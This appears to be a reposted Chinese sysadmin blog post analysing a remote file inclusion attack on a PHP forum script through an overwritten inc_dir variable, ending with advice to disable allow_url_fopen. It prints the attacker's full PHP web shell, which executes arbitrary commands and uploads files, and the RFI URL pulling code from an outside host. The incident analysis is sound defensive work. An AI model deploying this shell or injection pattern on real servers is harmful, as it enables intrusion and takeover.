在 Php 中把 Allow_url_fopen 打開的風險[通俗易懂]

在 Php 中把 Allow_url_fopen 打開的風險[通俗易懂]https://blog.teatime.com.tw最近老是在我的/tmp裡頭,發現有個多出來的/tmp/cmdtemp檔案.也在apache的error_log中發現一些訊息如下:sh:-c:line1:syntaxerrornearunexpectedtoken`;’sh:-c:line1:`;1>/tmp/cmdtemp2>…

大家好,又见面了,我是你们的朋友全栈君。

https://blog.teatime.com.tw

最近老是在我的 /tmp 裡頭, 發現有個多出來的 /tmp/cmdtemp 檔案. 也在 apache 的 error_log 中發現一些訊息如下:

sh: -c: line 1: syntax error near unexpected token `;'
sh: -c: line 1: `; 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm ^M'
rm: cannot remove `\r': No such file or directory
sh: line 1: /tmp/cmdtemp: Permission denied
rm: cannot remove `\r': No such file or directory
sh: line 1: /tmp/cmdtemp: Permission denied
sh: -c: line 1: syntax error near unexpected token `;'
sh: -c: line 1: `; 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm ^M'
cat: write error: Broken pipe
rm: cannot remove `\r': No such file or directory
sh: line 1: /tmp/cmdtemp: Permission denied

雖然我的 /tmp 是獨立的, 且被 mount 為 noexec, 所以上頭的指令都無法正確的執行. 不過… 為什麼會讓人家有辦法把檔案寫入 /tmp/ 內呢?

到 Google 找了一下, 發現在 PHP Bugs 的這篇文章, 裡頭提到了, 應該是 allow_url_fopen 打開的時候, 如果有人傳入一個參數為 xxx=http://xxx/xxx 之類的東西, 如果這個 php 的程式, 沒有檢查這個變數, 或是 register_globals 是開啟的情形下, 也許會造成這個 php 使用 include() 去把遠端那個 URL 的檔案給引入執行…. 也就是執行到了別人寫的程式, 這時… 自然別人想在那裡頭做什麼, 就能夠做什麼了.

所以, 我想我的機器上頭, 一定有那個使用者放的 php 程式, 會造成這個問題. 原本以為下頭的指令可以簡單的抓出

grep =http: access.log  

可是… 由於我有把 referer 也記錄到 log 裡頭, 所以… 會找到一堆在 referer 中有  =http: 的資料. 所以我寫了下頭的這個 script 來處理:

#!/usr/bin/php -Cq
<?php

$fp = fopen("php://stdin", "rt");
if ($fp == 0) exit;
while (!feof($fp)) {
   $buf = fgets($fp, 4096);
   $pos = strpos($buf, ' HTTP/');
   if ($pos === false) continue;
   echo substr($buf, 0, $pos)."\n";
}
fclose($fp);
exit;
?> 

在 HTTP/ 這個字串之前的都是我要的. 然後執行

grep HTTP *.1 | ./t.php | grep =http 

就可以找出來了. 發現是某個使用者放上來的討論區, 有人使用了下列的方式存取:

forgot_password.php?inc_dir=http://www.geocities.com/goblockz/hajar.txt?

發現會設一下 inc_dir 的 GET 變數. 而在這套系統中, inc_dir 就是這個系統用來 include 檔案時, 會加上的路徑. 原本 $inc_dir = ‘include/’, 所以裡頭用了一堆 include $inc_dir.’abc.inc’ 之類的語法.

不過… 我的 register_globals 並沒有打開啊… 怎麼會把這個 GET 的變數, 直接就取代了 $inc_dir 呢?

再看一下程式, 果然裡頭有 register_globals.php 其中一段是這樣子寫的:

        if (isset($HTTP_GET_VARS)) {
                reset($HTTP_GET_VARS);
                while ( list($var, $val) = each($HTTP_GET_VARS) ) {
                        $$var=$val;
                }
        }

就直接把 GET 的變數拿來用了… 自然覆蓋了原本的 $inc_dir, 所以在這個動作之後, 如果有做任何:

include $inc_dir."abc.php" 

之類的動作, 就變成:

include http://www.geocities.com/goblockz/hajar.txt?abc.php 

接著就跑到了上頭那個 hajar.txt 的內容了. 而這個檔案的內容如下:

<title>caRefuLL d4Ve-cOoL was HeRe..!!|| pOweRed fRoM #kLiNik@DALnet </title>

<div align = left><p><marquee bgcolor="#000000" style="border-top:5px dotted #3333ff; border-bottom:5px dotted #3333ff; font-family: Times New Roman; font-size: 24pt; font-weight: bold" behavior="alternate">#kLiNik@DALnet </marquee></p>

<body text="#ff0000" bgcolor="#000000" onLoad="showTheTime()">

<script language="JavaScript">

<div align="center"><font face="verdana" size="5" color="red"><b>inject Generated By d4Ve</u></b></font></div> 

<div align="center"><img src="http://www.geocities.com/goblockz/logo.jpg" width="168" height="154"><font face="Verdana" size="5"></div>

<div align="center"><font color="red">*</font><font color="blue"> <b>T</b>hANk<b>`</b>s <b>gOd</b></font><font color="red"> *</font></center></div>

<div align="center"><font color="red"></b>sUppORted </b>by </b>: </b>#kLiNik`cReW@</b>DALnet</center></font></font></div>

<br>  

<hr>

<div align="left">

<?php

  closelog( );

  $user = get_current_user( );

  $login = posix_getuid( );

  $euid = posix_geteuid( );

  $ver = phpversion( );

  $gid = posix_getgid( );

  if ($chdir == "") $chdir = getcwd( );

  if(!$whoami)$whoami=exec("whoami");

?>

<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">

<?php

  $uname = posix_uname( );

  while (list($info, $value) = each ($uname)) {

?>

  <TR>

    <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b><span style="font-size: 9pt"><?= $info ?>

      <span style="font-size: 9pt">:</b> <?= $value ?></span></DIV></TD>

  </TR>

<?php

  }

?>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)</span></DIV></TD>

  </TR>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">Current Path:</b> <?= $chdir ?></span></DIV></TD>

  </TR>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">Permission Directory:</b> <? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?>

    </span></DIV></TD>

  </TR>  

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">Server Services:</b> <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?>

    </span></DIV></TD>

  </TR>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">Server Address:</b> <?= "$SERVER_ADDR $SERVER_NAME"; ?>

    </span></DIV></TD>

  </TR>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">Script Current User:</b> <?= $user ?></span></DIV></TD>

  </TR>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">PHP Version:</b> <?= $ver ?></span></DIV></TD>

  </TR>

</TABLE>

</b>

</div></font></div>



<?php



set_magic_quotes_runtime(0);



$currentWD  = str_replace("\\\\","\\",$_POST['_cwd']);

$currentCMD = str_replace("\\\\","\\",$_POST['_cmd']);



$UName  = `uname -a`;

$SCWD   = `pwd`;

$UserID = `id`;



if( $currentWD == "" ) {

    $currentWD = $SCWD;

}



if( $_POST['_act'] == "List files!" ) {

    $currentCMD = "ls -la";

}





print "<form method=post enctype=\"multipart/form-data\"><hr><hr><table>";



print "<tr><td><b>kOeMeN eksEkUt:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";

print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>";



print "<tr><td><b>ChANge diRectORy:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";

print "<td><input type=submit name=_act value=\"List files!\"></td></tr>";



print "<tr><td><b>UpLOad fiLe:</b></td><td><input size=85 type=file name=_upl></td>";

print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>";



print "</table></form><hr><hr>";



$currentCMD = str_replace("\\\"","\"",$currentCMD);

$currentCMD = str_replace("\\\'","\'",$currentCMD);



if( $_POST['_act'] == "Upload!" ) {

    if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {

        print "<center><b>Error while uploading file!</b></center>";

    } else {

        print "<center><pre>";

        system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");

        print "</pre><b>File uploaded berHasiL cOy!</b></center>";

    }    

} else {

    print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";

    $currentCMD = "cd ".$currentWD.";".$currentCMD;

  system("$currentCMD 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm 

/tmp/cmdtemp");

    print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>peRiNtaH sUkses</b></center>";

}



exit;



?></body></font></font></b></font>



<embed src="http://critical-solution.com/midi/NovemberRain.mid" width="1" height="1" type="audio/midi"></html> 

裡頭可以讓你上傳檔案,  也可以讓你執行指令….  如果我的 /tmp 裡頭是可以執行的話,  可能就會放上一堆程式來跑了.

所以…  如果你沒有用到 URL file-access 的功能的話, 請在 php.ini 中:

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = Off

把 allow_url_fopen 設成 Off.

不然的話, 請確定你所有的網站上頭的 php 程式, 都不會有我上頭這類的情形發生.

PS. 在 php 4.3 之前,  allow_url_fopen 似乎不會讓 include(), require() 之類的函式, 可以讀取遠端的程式碼進來, 不過, 在 4.3 之後, 就可以讓這類的函式有了遠端讀取的能力. 而且… 沒有辦法限制. 要不就整個打開, 要不就整個關閉. 一點彈性都沒有… 更糟的是… 這個選項預設好像是打開的… 似乎有點不太安全吧. 在 php 的官方網站上頭, 看到 php 6 有另一個 allow_url_include 的選項, 應該就是為了解決這個問題, 讓我們可以在一般的情形下使用 fopen 去打開遠端的檔案, 而不會用在 include() 上頭吧. 所以… 在 php 6 出來前… 大家還是把這功能關閉為妙吧.

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/160266.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • ssm框架过时了吗_spring实战

    ssm框架过时了吗_spring实战SpringSpring是一个开源的免费的框架Spring是一个轻量级的,非入侵式的框架控制反转(IOC),面向切面编程(AOP)支持事务的处理,对框架整合的支持IOC理论UserDaoUserDaoImpUserSeviceUserServiceImp在之前,用户的需求可能会影响原来的代码。使用一个set。public void setUserDao(UserDao userDao){ this.userDao = userDao;}之前是主动创建对象,控制

    2022年8月9日
    2
  • openid什么意思_openId

    openid什么意思_openId在使用IdentityServer作IdentityProvider的时候,我们在NetCore的ConfigureServices((IServiceCollectionservices))方

    2022年8月17日
    7
  • Netty学习之读netty权威指南(一)

    Netty学习之读netty权威指南(一)大家问我为什么读这个来学netty,嗯嗯嗯??我也说不上来,因为我以前看过某个培训班的课程,初步了解了一下netty,但是现在回想一下发现我所有的知识基本忘光了,不过没关系,慢慢来,一点一点的找回来不久好了吗,现在开始咱们读一读Netty权威指南这本书,学习一下Netty。当然了不会全部按照这本书来,我会加上自己学习的东西。I/O演进之路JDK1.4以前Java对IO的支持不完…

    2022年10月2日
    2
  • pandas 处理缺失值[dropna、drop、fillna][通俗易懂]

    pandas 处理缺失值[dropna、drop、fillna][通俗易懂]面对缺失值三种处理方法:option1:去掉含有缺失值的样本(行)option2:将含有缺失值的列(特征向量)去掉option3:将缺失值用某些值填充(0,平均值,中值等)对于dropna和fillna,dataframe和series都有,在这主要讲datafame的对于option1:使用DataFrame.dropna(axis=0,how=’any’,thres…

    2022年9月18日
    0
  • 求二叉树的最长路径_对下列二叉树进行前序遍历的结果为

    求二叉树的最长路径_对下列二叉树进行前序遍历的结果为Ural 大学有 N 名职员,编号为 1∼N。他们的关系就像一棵以校长为根的树,父节点就是子节点的直接上司。每个职员有一个快乐指数,用整数 Hi 给出,其中 1≤i≤N。现在要召开一场周年庆宴会,不过,没有职员愿意和直接上司一起参会。在满足这个条件的前提下,主办方希望邀请一部分职员参会,使得所有参会职员的快乐指数总和最大,求这个最大值。输入格式第一行一个整数 N。接下来 N 行,第 i 行表示 i 号职员的快乐指数 Hi。接下来 N−1 行,每行输入一对整数 L,K,表示 K 是 L 的直接

    2022年8月9日
    7
  • 详解数据库三大范式、BCNF范式

    文章目录什么是”范式(NF)”1.第一范式(1NF)2.第二范式(2NF)2.1函数依赖2.1.1完全函数依赖2.1.2部分函数依赖2.2码2.3非主属性3.第三范式(3NF)4.小结4.1三大范式总结4.2完全&部分函数依赖4.3表设计规范(范式的选择)什么是”范式(NF)”按照教材中的定义,范式是“符合某一种级别的关系模式的集合,表示一个关系内部各属性之间的联系的合理化程度”。很晦涩吧?实际上你可以把它粗略地理解为一张数据表的.

    2022年4月8日
    47

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号